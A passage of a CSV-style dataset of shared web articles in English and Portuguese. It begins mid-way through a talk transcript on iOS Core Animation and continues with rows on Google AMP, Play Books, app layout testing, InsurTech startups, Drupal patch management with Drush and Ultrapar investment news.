talk about how we're going to do this first little animation. We have everything come in from the left and the right side. We'll do some of the other animations as we go, but right now we're going to talk about how the chair, the picture frame, and the person come in from the left, and the lamp and the other side table come in from the right. We have our custom view called IntroView and it has our custom CALayer . We're going to configure it at the beginning for our intro animation. To start, we're going to take the bounds of our view, divide it in two, and move things to the left and right. Now, when you apply something to a CALayer , it will directly apply it to that layer. Before we render, we're going to configure it in the center and then immediately move it to the left and the right. You'll note that the chair and picture frame we set it to offset with this handy little method called updatePosition , by just adjusting the position of the CALayer . We're going to do the same thing for the picture frame, the left arm, and the right arm. But for those, we're going to set them at an initial angle because you'll notice they move a little bit. We're going to do that using CATransforms . The fun part of this is animating. For that, we have startIntroAnimation . You can begin a CATransaction , and you can set many properties that you might be more familiar with using UIView Animations on your CATransaction . You could set a duration, so in this case, half a second. You can set timing functions, ease in, ease out, etc. Then within your CATransaction , adjust the properties on your CALayers and commit the transaction. In this case, we're going to set the position of our elements back to the center by making their offset the reserve of what we did in the configureForIntroAnimation . Then when we commit the transaction, everything moves into the center. Basic animations (16:15) Let's move on to CAAnimation . Let's talk a little bit about the picture frame. Notice that it moves, but it also has this fun little wobble to it. We want to pretend like we have some motion or we actually have some physics behind it. By doing that, we can create a CAAnimation class. In this case, it's a lazy variable used to initialize it once, but we're going to use CAKeyframeAnimation s. Keyframe animations give you the ability to set multiple states in a row. In this case, we want that wobble. That means we're going to animate the transform.rotation , which means you're animating the way that this thing rotates along the Y axis. If you look, there is a series of values for your keyframe animation. In this case, zero, negative 30, negative 10, and negative 20. Each one of those is an angular value for how I want it to move. We have a duration for the entire thing. We have keyTimes , which allows you to specify how long different parts of each one of your keyframe animations is going to take. Notice we have four values, four keyTimes , and the range for keyTimes is between zero to one. Each one of these is going to take about a third of our total duration, which is, in this case, about three-fourths of a second. Also, note that you can do timing functions for each part of your keyframe animation. In this case, we're going to do an ease in, ease out between the first and the second, ease out between the second, and the third, and so on. One of the other really fun, handy things is that there is a beginTime property on your basic animations. This allows you to adjust the offset of when your animation is going to start. By using CACurrentMediaTime() , you can add to that and say essentially, ""This is going to start a quarter of a second after the current time."" We have several things happening in our animated sequence. We want our picture frame to move laterally first, and then start swinging. To do that, one way we can do it is by delaying the basic animation for our rotation about a quarter of the second. When we put this all together, we get both lateral movement and rotation. One thing you have to do is add animations to elements. In this case, let's talk a little bit about the left arm, the right arm, and the picture frame. You'll notice that all of them have a little bit of rotation on them, The arms will pop up and have a little bit of a bounce on them and the picture frame moves as well. To do that, we're going to call addAnimation . We have a property called leftIntroAnimation that we'll go into in just a bit, and we give it forKey , which is not required, but I do tend to recommend it. It's a way that you can reference an animation later on. It also helps in debugging because you can print out what animation you might be looking at by name. So for our arm animations, we are going to use some of our same tools. We're going to use CAKeyframeAnimation , using rotation to make it do that little bounce. We're also going to do the same begin time. We're going to do a little bit shorter duration, some of our timing functions, but in this case, for our arm animations, we're going to have a base function that gives us back a standard arm animation. But we need to do it a little bit differently for our left and our right arms. Our left arm animation is going to call into this base implementation and set a few additional properties on it because the left arm and the right arm have different angles because they're on different sides. We're going to construct that basic keyframe animation for our arms, set the values, set the keyTimes , and return it. We could also have put the keyTimes in our constructor method, but in case the left arm or the right arm needed different values or different number values, that seemed a little bit risky. You always want your values and your keyTimes to be the same. Now we've got our bouncing little arms. We've got the picture frame rotating, and we've got everyone coming in from the left and the right. Animation groups (21:39) Let's talk about CAAnimationGroup . When the arms come in from the left and the bottom with a little bit of rotation, we can use a CATransaction , but we have a few new interesting things. There are some fireworks in the background, and those fireworks do a combination of things: they grow, fade in, and then they repeat for a long period. So for this, we're going to need to try animation groups. Animation groups allow you to apply multiple CAAnimation to a single object at the same time. In this case, we have an identityTransformationAnimation , a fadeAnimation , and we're going to put those together under one thing called a largeFireworkAnimationGroup . It's not as complicated as it sounds. For the animation group, create a CAAnimationGroup . I'm going to put the repeat count at HUGE , which pretty much means indefinitely. Then I'm going to assign an array of animations to that group, which in this case is the identity and the fade. Identity animation, in this case, is going to be that growth animation. It doesn't seem like it's a growth animation, but that's because we're going to use some of our tricks from before. What we'll do is transform the fireworks to be very small. Then, we're going to scale them down and animate them to their normal size. Typically in graphics, identity operation is returning something back to its normal state, so we're going to scale them down and then transform them up. Next, we're going to fade our fireworks in. When we scale them down, we're also going to put their alpha at a low or zero value. Then we're going to fade it in. Now when we are going to configure this, we create our animation group. You can set a duration for the entire group, so each animation in the group might have a different one. The fade and transform might be really quick, but the whole process is going to take about three and a half seconds. Then we're going to repeat the whole animation group again. Then all we have to do is say addAnimation , just like our other basic animations. An animation group can be applied, like a CAAnimation . What do we get out of that? Well, we get our nice, fun fireworks where they grow in size, they fade in or they fade out, depending upon how we have it set up. And it repeats. CATransaction - Part 2 (24:41) Let's go back to CATransaction . CATransaction s are a really powerful concept, and it's really handy because they work similar to UIView animations. For this screen, we have many things happening, and they happen all in a row. Animation 1 happens, and when that's done, we add animation 2, etc. CATransaction s have a completionBlock . To do that, you can start your transaction, set your properties that you normally do like last time, duration, timing function, but then you can also set a completion block. This completion block is going to happen when the transaction is completed. At the end of our duration of 0.45, so about half a second again, this CATransaction will happen, and you can chain these together. You want to be careful so that you don't have this chain of doom that goes 20 tabs out to the right. In this case, we want to move the main items into the center like we did with our first intro screen. Everything starts to the left or the right. We move it to the center, but if we notice the way this works is that after the character gets to the center, you'll see the arms and legs do an animation at that point. We want to trigger that only after our first transaction is complete. After we move our character to the center, we're going to put an identity transform onto the left arm, the right arm, and the left leg so that it undoes the initial rotation that we put on them. Next, commit that second transaction within the block. After this completion block, we still have to do our first transaction. One of the main things you want to consider is that you need to set your completion block before you commit your transaction because you can't put a completion block after something's already started. It can get a little counter-intuitive because it's going to look reverse oriented. You're going to have your last operation inside of your second to last, inside your first one. It's going to work similarly to our first screen where we're going to take our female character and move her to the center. We're also going to do that with the trees, where we just transform them into their identity state. We're going to unscale them. When we're done we have our character move to the center. After that's done, we had the arms and leg do their animation, and we have the trees and the buildings scale upwards back to their original state. Bonus: CATransitions! (28:03) One last thing, as a bonus, is we have CATransitions. You'll notice in a number of these animations that the text transitions between states is in a little bit more of an elegant fashion than our normal set text. Set text is very effective, but when you replace the text within about one frame, it's very jarring. When you're fading colors around your text, we really want to consider fading the text as well. What we have right here is a simple category or extension on a CATransaction for a factory method. This one creates a simple fade transition. We can apply this to our UI label. This looks very similar to our basic animations. We have a duration, we have a timing function, but we also have a type. In this case, we're going to call it a fade type. And that's all there is to it. I just return this simple fade. The way that we use this is we get our simpleFadeTransition and then add the animation to our title label before we set our text. As long as you add this and then set text, you get that really nice transition effect. Now if you're curious, and you want to play with this in the Fitbit app, it's the onboarding experience. You can also get it by going to the details for your hourly activity for that day. There's a little ""Learn More"" button in the top-right that'll present this at another time. Wrapping up, I'd like to encourage people to use the asset pipeline that works best for what you're building. In our case, Sketch to PaintCode into code worked fairly well. However, in retrospective, there were a few more tools that I should have checked out such as QuartzCode. One of the other things is that after you get your assets into a state, that's equilibrium, doing animations is really quick and simple, and it's a lot of fun. You can combine core animations, animation groups, and transactions to produce a swath of different experiences. Lastly, transitions are both simple and effective. I really encourage you to consider them for a variety of different UI elements, one of which is just tech labels. Q: With all the timing, and ease in, ease out combinations, there's a lot of build and run. Do you have any tips for how you can converge on 0.45 without having to go through a million iterations? Stephen: There are a couple of things you could do. In our case, we had a designer who's very capable with motion and animation. They mocked everything up in After Effects and we had a movie to go from, which was immensely helpful because it gives you something to go for as opposed to just shooting in the dark. One of the other things is that a number of the prototyping tools the designer might use will have similar types of curves and values that they might be using. So you can get those values from them to start with. But at the end of the day, both the values that they mocked up and the values that you use are going to need tweaking. It's really simple, but just communicating with your designer in person or over a video chat or something and doing a couple of runs, ""What do you think of this? Can you tweak it a little bit?"". Some of the other tools like QuartzCode and Squall might help with that as well. QuartzCode and Squall both directly implement animations in code, so you don't have to do it yourself. One of the downsides of that is it's a little less human readable, and the maintenance pattern is that you have to go back directly to the tool. Q: What are some tips that you would recommend as far as working with motion designers, as opposed to just static designers? Stephen: One thing you can do is set your own animation curves. You can define them based off of a Bezier path. Some programs, I believe After Effects, have the ability to actually export the curve that they're using. So if the motion designer really, really wants a specific curve, you can set that curve, and you can build up a library of factory methods of different curve types that you can apply to your animation. You can also build up your own curve set. It's not the most intuitive thing at all because it's just defining a Bezier path, but if you have a designer with a toolset that is very comfortable with that, that's definitely one option. I personally only go to curves and animations if it really makes sense because it keeps things a little simpler and more consistent, but at the end of the day, they typically do know best. Q: Have you had any issues combining your animations with Auto Layout? Stephen: Yes and no. CALayers don't necessarily respond to Auto Layout. They're hosted within a UIView, so your UIView responds to Auto Layout, but it hosts layers. In this case, because we had a central layer, we resized it. So you have to manually set the bounds or the frame of your layer based upon when the bounds or the frame of your host view changes, if your layer is not a host layer. Because of that, you'll notice that many of the animations we used, for example, when the left and the right items were starting off the screen and moving to the center, those were based off of view.bounds and not Auto Layout. When you're doing UIView animation, I highly recommend using Auto Layout inside of your animation block because that's the recommended course. When you move to the CALayer world, you're hosted within a view, which should have Auto Layout laid out, but then you're using bounds and frame a bit more.",en
1474496187,CONTENT SHARED,-7875485745277808506,-5639303336519418445,9126863601464792994,,,,HTML,http://www.intelbras.com.br/empresarial/wi-fi/para-sua-empresa/roteadores-check-in-facebook/hotspot-300,HotSpot 300,"Pressione TAB para navegar pela página Especificações técnicas Configurações passo a passo Tire suas dúvidas Somente as páginas com locais válidos podem usar o Wi-Fi do Facebook, portando é necessário criar uma página diferente para cada localização da sua empresa. Caso você queira uma Página Comercial que suporte múltiplas localidades é necessário preencher um formulário e passar à equipe do Facebook para auxiliá-lo neste processo. Para mais informações sobre múltiplas páginas consulte Somente as páginas com locais válidos podem usar o Wi-Fi do Facebook, portando é necessário criar uma página diferente para cada localização da sua empresa. Caso você queira uma Página Comercial que suporte múltiplas localidades é necessário preencher um formulário e passar à equipe do Facebook para auxiliá-lo neste processo. Confira abaixo como efetuar a configuração de redirecionamento de portas do HotSpot 300. Confira abaixo como efetuar a configuração de redirecionamento de portas do HotSpot 300. Onde comprar? Quem instala? Assistências técnicas",pt
1474496236,CONTENT SHARED,7793363699831164066,-5639303336519418445,9126863601464792994,,,,HTML,http://searchengineland.com/google-will-show-amp-urls-app-deep-link-urls-mobile-results-259204,Google will show AMP URLs before App deep link URLs in mobile results,"Google will now have AMP trump App URLs in the Google mobile search results. That means if a web site has both AMP URLs enabled and also has a mobile app with Firebase App Indexing (formerly Google App Indexing), Google will show the user, even if they downloaded your app, the AMP URL over the deep link to the page within your app. Google quietly posted this in their data anomalies page, where they wrote: Search results on mobile devices have begun to direct users to the equivalent AMP page, in preference to the equivalent app or web page. This might result in a decrease of traffic to your app pages when an equivalent AMP page exists. Google's John Mueller confirmed this for me on Twitter saying, ""yes, at the moment if an AMP exists for a given URL then we will send the user to that AMP not the deep link."" Again, if your website visitor downloaded your app and you deployed Firebase App Indexing, yesterday, Google would have sent the user to your app. Now, since AMP is rolling out to the core Google mobile search results, that user will be taken to the AMP URL instead.",en
1474496305,CONTENT SHARED,1537717759622831344,-1443636648652872475,-5474410330775150301,,,,HTML,http://lifehacker.com/google-play-books-now-analyzes-your-reading-habits-and-1786807737,Google Play Books Now Analyzes Your Reading Habits and Recommends New Books,"Android: Google Play Books gets a new tab today called Discover that aims to help you find your next book. Discover is essentially a personalized recommendation system built directly into the Google Books app. It takes a look at what you're reading, what you've read, and suggests books for you to read. Since it's Google, it'll also recommend books based on articles you read or videos you watch elsewhere in the app. Another new section of the app, called Google Play Editorial, will point you toward interviews, articles, and more from your favorite authors. The update's packed into the Google Play Books app on Android today, with iOS coming shortly. Google Play Books | Google Play",en
1474510220,CONTENT SHARED,9038543365726770177,3609194402293569455,-8153859261847409418,,,,HTML,https://www.embrapa.br/informatica-agropecuaria/hackathon,Hackathon - Portal Embrapa,"Crie aplicações para captura, processamento e armazenamento de imagens de plantas para uso do setor agropecuário! Participe do 1º Hackathon Embrapa - Edição Campinas, uma maratona de programação com o objetivo de valorizar e reconhecer a criatividade das equipes participantes em criar novas soluções baseadas em Tecnologia de Informação, com foco em software, que possam contribuir para o setor agrícola brasileiro.",pt
1474541751,CONTENT SHARED,2229625391864201918,-8205402408645015051,-1750329158213644012,,,,HTML,http://blog.onedaytesting.com.br/como-o-layout-de-aplicativos-influencia-o-usuario-e-por-que-voce-deveria-testa-lo/,Como o layout de aplicativos influencia o usuário e por que você deveria testá-lo - One Day Testing Blog,"O processo de criação e usabilidade de aplicativos para dispositivos móveis envolve muitos desafios. No processo, os detalhes são cruciais: botões de ação com contraste maior, cores, ícones e imagens . Todos os elementos de design são fundamentais se o seu objetivo for (e acreditamos que seja) satisfazer o usuário. Existem vários elementos que você precisa prestar atenção para seu aplicativo cumprir seu papel e não confundir o consumidor. Um layout de aplicativos mobile ideal é fluido e garante boa usabilidade e experiência ao usuário . Isso significa que a aplicação deve funcionar a qualquer momento, em qualquer dispositivo móvel e para qualquer pessoa. Os elementos que mais impactam o usuário Muitos elementos de uma aplicação influenciam a boa ou má experiência do usuário. Abaixo, separamos alguns elementos relacionados ao layout, que irão ajudar seu usuário a se engajar e não dar uma nota negativa para o seu app: Cores Cores são fundamentais em qualquer trabalho que envolva design. Você pode usá-las para direcionar e incentivar ações (cores quentes, por exemplo, como vermelho e laranja) ou mesmo se quiser passar uma imagem de classe e qualidade (azul e verde). Fora isso, as cores são parte importante da experiência do usuário. Se você não sabe muito sobre combinações de cores, pesquise no Adobe Kuler , ferramenta que combina cores automaticamente a partir de uma cor base. No exemplo abaixo, para o aplicativo de monitoramento de ciclo menstrual, com público-alvo majoritariamente feminino, a empresa fugiu das cores convencionais e acertou em apostar na mistura de cores quentes e frias. Ícones Os ícones são muito importantes porque indicam ações e por isso visam tornar as seções e funções dentro do aplicativo mais claras para os usuários . A medida padrão geralmente é de 11×11 pixels, mas isso varia de acordo com a plataforma para a qual o app será desenvolvido. Por isso, recomendamos sempre testar a medida para saber se é a ideal. No aplicativo ao lado, os ícones são parte fundamental da página inicial. A propósito, eles formam a ""home"" da aplicação. Com um clique, o usuário tem acesso à categoria que deseja. Fontes Como os smartphones têm as telas bem menores que computadores, verificar se o tamanho das fontes e grafias são de fácil leitura é ainda mais importante. Você precisa encontrar um equilíbrio que possibilite o usuário navegar pelo aplicativo confortavelmente , sem precisar se aproximar muito da tela ou utilizar o zoom. Ousada, a tipografia do aplicativo se deve a um fator: a persona . O aplicativo é feito para designers, por isso a escolha de fontes fora do convencional foi certeira. Padrões de interação Arrastar, clicar, rolar e selecionar. Essas ações já são esperadas por usuários, por isso, escolha sempre padrões de interação conhecidos , ou seja, ações às quais ele já está familiarizado. Tente com cuidado algo muito novo ou diferente do usual porque pode confundir o usuário e fazer com que ele abandone seu aplicativo. Ao utilizar menus laterais, por exemplo, que ocupam apenas uma parte da tela, você pode prever a ação de arrastar, bem conhecida dos usuários. No exemplo abaixo, a rolagem na vertical para uma revista, com matérias destacadas e a disposição das imagens ajudam na navegação. Outra dica que já aprofundamos aqui no blog é tomar cuidado com o menu de hambúrguer ! Número de cliques As pessoas querem fazer o que precisam rapidamente. Por isso, até o número de cliques em um aplicativo para chegar a alguma tela é importante. Lembre-se da regra dos 3 cliques: toda ação deve ser feita em, no máximo, três cliques . O que isso tem a ver com o layout? Subtelas aumentam o número de cliques, por isso você deve pensar em criar novas seções quando o processo se tornar muito trabalhoso. Veja o exemplo abaixo: O que você espera de um aplicativo para buscar passagens aéreas? Facilidade . O aplicativo cumpre bem a função, exigindo poucos cliques para obter o resultado da busca. Destaque e posicionamento dos botões de ação A maioria da população é destra , e por essa razão os botões são dispostos no lado direito da tela. Imagine um botão de ação posicionado na esquerda. Nesse caso, o usuário destro teria que cruzar toda a tela com o polegar. Nada prático, correto? A dica aqui é fazer de tudo para facilitar o uso do smartphone com apenas uma das mãos . Além disso, o contraste do botão também pode ser utilizado para orientar o usuário, criando uma hierarquia de informações. Neste exemplo, a tela de início apresenta um botão vermelho enorme com a call to action também destacada. Para completar, a palavra ""start"" convida o usuário a começar a utilizar o aplicativo no momento em que é aberto. 4 bons exemplos de layout de aplicativos O Toggl é um aplicativo para medir o tempo da realização de tarefas diversas. Dito isto, repare no posicionamento do tempo na tela e como é simples criar novas tarefas dentro do ambiente. O aplicativo cumpre o que promete e aposta em um design simples mas eficiente. Esse aplicativo foi um dos vencedores do Apple Design Awards 2015 . A desenvolvedora Hipster Whale conseguiu fazer um jogo que faz jus ao nome hipster mas que é muito viciante. O ambiente é divertido, bastante rápido e de fácil navegação. O trunfo está no uso de um design nada convencional para um jogo e na facilidade de entendimento de como a plataforma funciona. Em meio a tantos aplicativos de organização de tarefas, o Taasky está se superando. A interface é super clean e fácil de usar. Pode fazer com que o aplicativo seja usado com mais frequência, já que tem uma interface intuitiva. O B&H Photo Audio Pro é um dos cases de Material Design para Android. O Material Design é um conjunto de padrões de ícones, cores, animações, tipografia e hierarquias indicados pelo Google. O aplicativo móvel é de um e-commerce, mas se destaca por fotos de alta resolução e carregamento rápido, comentários de profissionais sobre os produtos e claro, muitas informações relevantes sobre o que é vendido. O layout torna fácil a navegação pelo site, a pesquisa de produtos, o estado do estoque, etc. Certamente, é um ótimo exemplo de layout para aplicativos de e-commerce. A importância de testar o layout de aplicativos Se o sucesso do seu produto depende de ações ou envolvimento dos usuários, é sua obrigação prevenir erros ou falhas que dificultem a utilização do mesmo. Por causa disso, testar o layout de aplicativos é imprescindível, já que reduz custos de desenvolvimento e têm um impacto direto na melhoria de usabilidade do aplicativo e da experiência do usuário . Como consequência disso, a taxa de adoção, conversão e retenção também irão aumentar. Formas de testar o layout Mesmo que os testes de layout apresentem um custo maior em curto prazo - envolvem recrutamento, tempo, deslocamento, contratação de uma empresa, etc - eles apresentam um retrato mais realista da usabilidade do aplicativo. Se você quer ter um panorama mais realista da usabilidade e layout de aplicativos , para torná-lo mais rápido e dinâmico, há duas formas principais de testá-lo: Inspeção de interface Neste teste, um especialista em usabilidade faz uma inspeção da interface completa da aplicação, avaliando-a de acordo com a conformidade e diagnosticando se o fluxo permite atingir os objetivos do projeto sem obstáculos. Interação com usuário As interações são testadas em todas as interfaces do sistema. São testadas tarefas distintas que a aplicação se propõe a realizar em contextos específicos. Assim, é possível avaliar se estão funcionando corretamente e atendendo às regras de negócio. Conheça outros módulos de teste de aplicação ou fale com um de nossos especialistas para tirar suas dúvidas. Por fim, testar o layout de aplicativos vai ajudar sua equipe a chegar em um produto final leve, rápido e dinâmico.",pt
1474543800,CONTENT SHARED,3328253785421705444,5660542693104786364,4414331645427879731,,,,HTML,http://thefinanser.com/2016/09/insurtech-changing-world-risk.html/,InsurTech: changing the world of risk - Chris Skinner's blog,"I haven't blogged about InsurTech much, as this is a banking blog, but having started life in the insurance industry I guess it's time to shine a light on this corner of the financial world. My first hearing about InsurTech, or InsTech if you prefer, was in a US conference a couple of years ago where Progressive Insurance had re-engineered their home and auto website. Most other insurers, you have to go through two or three screens of in-depth questions and form filling to get a quote. This is because the online forms are a replica of the paper forms. Progressive rethought that process and came up with the idea of entering your zip code or, if auto insurance, vehicle registration. Using publicly accessible databases, they can then immediately give you a guideline quote before you fill in any other forms. Easy-peasy, lemon-squeezy. Another example was from Allianz, who were experimenting with smarthome technologies, with the idea that if your doors and windows are chip-embedded to the internet, then they can tell when you've left home and have any security vulnerabilities in real-time. But these aren't really InsurTech examples, as they're from incumbents. Probably my first visible InsurTech start-up that I spotted was Friendsurance in Germany. Now six years old, the small peer-to-peer insurer has recently secured a $15.3 million funding round . The way the model works is that everyone contributes to a common pool to mitigate risk, that's the very nature of insurance. However, in Friendsurance's case any premiums left over in the fund at the end of year are paid back to contributors, as the risk didn't happen. Pretty cool, although it hasn't been replicated in other regions yet, which implies this is a more difficult challenge than it appears. In fact, Ryan Hanley at Agency Nation believes that peer-to-peer insurers like Friendsurance, Lemonade and InsPeer are just brokers and mutuals. Take this interview with InsPeer founders, Louis de Broglie (LdB) and Emmanuelle Mury (EM) by BlueDun: : At its core, insurance all about pooling of risks. Are you simply boiling the mutual insurance company down to its essence, removing a lot of overhead, and passing the savings onto consumers? : But mutual companies are so big that you don't feel a sense of community. The idea is to use technology to help you leverage your local community - with all its positive aspects. So it is true that we are coming back to the original idea of the mutual company. The peer-to-peer advantage is the fact that you band together with your community which creates more virtuous behaviour - a lower claims rate for instance. This can only be possible if people have a sense of community. So not that disruptive after all. But technology is allowing some InsurTechs to change the model. Take the cool InsurTech Trov for example. Trov gives people the power to insure just what they want, when they want for just as long as they want, entirely from their mobile app. Here's how it works: Since then, a whole raft of start-ups worldwide are doing interesting things, such as these 14 companies : Cocoon makes an internet-connected security device for the home. Kasko provides a white-label option for instant insurance purchases on affiliate platforms. BimaAfya is connecting low income populations in sub-Saharan Africa with health insurance. Buzzmove provides price comparison for the removals trade; information that is important to insurers after a loss. Myfuturenow helps connect dormant pension accounts to holders. Roost makes a smart battery for smoke detectors and counts USAA among its investors . Augury makes sensors for heating, ventilation and air conditioning systems CoVi Analytics is a platform for insurers to use the required reporting from Solvency II data in their enterprise in other ways. Domotz is an Internet of Things management system that offers a platform for insurers to rate risk and manage claims. FitSense helps life and health insurers leverage data from wearables. Quantifyle allows users to ""shop around"" their wearable and other health data to insurance companies and find the best price. MassUp uses APIs to connect insurers to retailers so people can quickly and easily add coverage to new purchases. Rightindem is a self-service total loss claims platform that claims to reduce insurers workload and leakage while improving customer service. Safer isdesigned to help millenials identify what kind of insurance they need by tapping into their social data And what can an insurer learn from an InsurTech? Well, here's six things that Tim Kunde, Co-Founder and Managing Director of Friendsurance believes they could note: 6 things that insurance companies can learn from insurtechs in 2016 Digital innovation in insurance is in its infancy, compared to other industries. It's so far driven by a small number of so called ""insurtechs"". These companies, usually startups, have only just begun their journey and given the size of the industry, their impact is still modest. I would like to share some thoughts about what insurance companies can learn from insurtechs already now, based on 6 years of running an insurtech startup and closely interacting with over 100 carriers in Germany and beyond. 1. Taking risk as an organization Big organizations don't like taking risks. They have a working business model and any deviation from it is usually judged by the potential downside, not the upside. In a startup, this is different. The whole undertaking by definition is risky, and the reason to exist for a startup is to endorse that risk and be prepared to make mistakes, learn and improve - all of that at the fastest pace possible, on a company level as well as on a personal level. 2. Rewarding risk on a personal level The reason why big organizations usually don't take risks is that, while it would make sense for the organization, it doesn't make sense for the individuals behind it. Too easily can your career take a bad turn if you are the guy who screwed up a project. So, implementing the right culture is the key to getting more innovative, far more important than the usual announcement to ""invest 100 Million Euros in digitization in the next 5 years"". In very rough terms, I suggest to distinguish two steps in getting to the right culture. Step 1: Don't punish failed experiments Imagine a researcher getting fired because a set of new experiments failed - science wouldn't get very far. The same is true in corporations. If top management wants people to try new things, the career of those people shouldn't be at jeopardy for it. Step 2: Encourage intrapreneurship While step 1 can happen on a case by case basis, step 2 needs a broader shift in corporate culture, where experimenting, failing and improving become more generally accepted , ultimately getting mindset and incentives closer to that of innovative startups and thereby creating ""intrapreneurs"". Startups usually attract the right kind of people for taking risk. They come not because the startup name is great for the CV, or because the job is secure for the next 20 years, they come because they want to change stuff. The startup's job is to foster this mindset, and that's one of my most important tasks at Friendsurance . Apart from implementing the right culture, we also give share options to every employee to make sure everybody can participate in the company's appetite for risk. 3. Thinking digitally What insurtechs do is to look how people and digital services can work together to provide the best overall products and services imaginable. We have a more less precise understanding what people are capable of. But the things that machines are capable of change on a daily basis. Only an organization with a digital mindset will keep up with these developments and make sure they are translated into a better experience for your customers. 4. Working digitally For some things, there is no debate whether a human or machine is better. Sending data is such a thing: a machine is just so much better and faster . And yet, it is incredible to see the mountains of paper that reach us every day, mountains of policies, invoices and other documents that could easily be sent via an API. Working digitally in insurance is challenging ... Traditional carriers neither have the technical resources, nor the general conviction to change this very soon. We even know of a number examples where APIs do exist, but the people in charge just don't see the need to use them, because the current paper system is working somehow. Insurtechs are building up their organizations and their processes digitally from the start. This will become an enormous advantage in the future, not only in terms of cost, but also in terms of service quality and ultimately in customer satisfaction. 5. Focusing on the customer Whether it's a service delivered by a person or a machine, the ultimate purpose is always to serve your customers. If you want to understand if you are doing a good job in that, who else should you talk to than your customers themselves. Friendsurance started its journey with a great idea: Peer-to-Peer insurance. But it wasn't until we started to systematically turn to our customers that we really started being successful, everything before that was theory. And that is why: We run user tests on a weekly basis. We design our processes around a set of ever-evolving personas. We measure the NPS (net promoter score) along the customer lifecycle. We have an inter-departmental team that meets every week to discuss the results of these efforts, potential solutions and open questions. In insurance companies, services and products are often produced in the silos of the different departments: actuaries, product managers, sales people. There is no holistic view for the customer. The result: according to a representative study by Emnid in Germany , insurance is seen as the least customer friendly industry of all. 6. Solving problems in iterations The core of Friendsurance's Peer-to-peer approach is still the same as it was in the beginning: people connect in small networks to support each other in case of a claim. Everything around this concept, however, has evolved ... how we communicate our concept, how we build up customer relationships, how we integrate with our insurance partners. If we had continued with the original set-up, we'd long be gone. It's only because of continuous iterations and problem solving that we got to where we are today. This is often different in big organizations: a project is planned with a certain setup and resources, it's executed according to plan, and then it's evaluated. Depending on the result the topic is continued or not. The problem with this is that throughout the project phase, not a lot of adjustments are possible, so unless the setup was close to perfect in the beginning - and it rarely is - the chances of success are slim. The ""lean startup"" method With smaller test setups and faster iteration cycles, the chances of producing a minimum viable product (MVP) become much higher. This approach is known as ""lean startup"" method, and there is a bunch of literature around it. While from my experience, sticking to the exact methodologies is less important, the general mindset is of incredible value. My conclusion: Insurtech startups do not have all the answers but are best positioned to find them This list could easily be expanded. The general point is this: the digital transformation has reached insurance, as one of the last big offline industries. There are big barriers to entry, but they are not insurmountable. And while insurtech startups do not have all the answers and the solutions yet, they are best positioned to find them. We have only seen the beginning of the amount of talent and money that will pour into this industry. Companies who think they can still wait a couple of years until they start to embrace digital innovation will cease to exist 10-15 years from now. And while of this sounds very dramatic, the overall picture is very bright: new markets will be discovered, new products and services created. There is a huge potential to do more business and at the same time create a much more customer friendly industry.",en
1474554441,CONTENT SHARED,2435024834845042614,3891637997717104548,8166840525570780940,,,,HTML,https://chromatichq.com/blog/how-manage-your-drupal-patches-drush-patch-file,How To Manage Your Drupal Patches with 'Drush Patch File' | Chromatic,"It's only a matter of time. You encounter a bug in Drupal core or a contributed module, search the web for the issue you are encountering and more often then not, you are not the first person that has encountered the issue. You find an issue on Drupal.org and if you are really lucky, there is a viable patch associated with it. Hopefully this patch will one day make it into a release, but this won't slow you down. You apply the patch, it fixes the bug and all is well with the world. That is until it comes time to update this contrib module. Maybe a different developer is performing the update, or maybe it is just you months (years?) later. You don't necessarily remember that you previously patched this specific module and when you update it, you unintentionally overwrite the patched fix, reintroducing the bug. To lessen the chances of this occurring, we want to be able to track all of the patches that have been applied, and ensure that they are re-applied every time the underlying code has been updated. The Old Way In the past, we manually tracked patches in a directory at the top level of our git repository. Within this 'patches' directory, we have a folder for Drupal (core) patches and a folder for each contrib module that has had a patch applied. When a module is updated, it is up to the developer to consult this directory structure and identify any patches that may need to be reapplied. While this is technically a viable system, it is easy to see that there is at least one major flaw. It is not uncommon for a developer to simply forget to check the patches directory. Drush Patch File Recently, we have begun to utilize Drush Patch File to improve this workflow. Drush Patch File endeavors to simply document and track what patches have been applied, and automatically reapply patches when a module has been updated. With Drush Patch File, our legacy 'patches' folder still exists, but we replace its contents with a patches.make file similar to the one below: Getting Started Clone the Drush Patch File repo into your project at sites/all/drush . Create a patches.make file as detailed above, preferably outside of your docroot in a patches folder. Point drush to your patches.make file by adding the following line in /sites/all/drush/drushrc.php : $options['patch-file'] = '../patches/patches.make'; Drush Patch File's README provides detailed instructions on how to add new patches, check patch status, and apply all specified patches. The Best Part The best part of Drush Patch File, besides managing the tracking of all of your patches, is that it will reapply your patches automatically when you update a module!",en
1474554668,CONTENT SHARED,2602221055863892168,7421498048184238966,3917624780608050516,,,,HTML,http://jcrs.uol.com.br/_conteudo/2016/09/economia/522342-ultrapar-aprova-investimento-adicional-de-r-196-milhoes-para-a-ipiranga.html,Ultrapar aprova investimento adicional de R$ 196 milhões para a Ipiranga,"A Ultrapar aprovou nesta quarta-feira (21), um orçamento adicional de investimento para este ano de R$ 196 milhões para oportunidades de aceleração da expansão da rede Ipiranga, divisão de negócios da companhia no segmento de combustíveis. O valor, aprovado em reunião do conselho de administração, representa uma elevação de 22,1% sobre o montante total de investimentos previstos para 2016 na Ipiranga, de R$ 887 milhões. Conforme divulgado no final do ano passado, o plano de investimentos da Ultrapar para 2016 era de R$ 1,809 bilhão. Na Ipiranga, o plano contemplava então aporte de R$ 887 milhões, dos quais R$ 354 milhões para manter o ritmo de expansão da sua rede de distribuição (por meio do embandeiramento de postos bandeira branca e abertura de novos postos) e de franquias am/pm e Jet Oil, com foco nas regiões Centro-Oeste, Nordeste e Norte, e em novos centros de distribuição para atender as lojas de conveniência. Em dezembro a empresa afirmou ainda que a Ipiranga receberia R$ 112 milhões para ampliar sua infraestrutura logística para suportar seu crescimento, através principalmente da construção e ampliação de bases de operação, e R$ 421 milhões na manutenção e modernização de suas atividades, principalmente em renovação de contratos de sua rede de distribuição, reforma de postos, e sistemas de informação para apoiar suas operações. Ainda hoje, os conselheiros da Ultrapar analisaram, entre outros temas, a proposta de posicionamento estratégico da Ultracargo, divisão de negócios no segmento de armazenagem de granéis líquidos. No entanto, a ata do encontro não traz detalhes.",pt
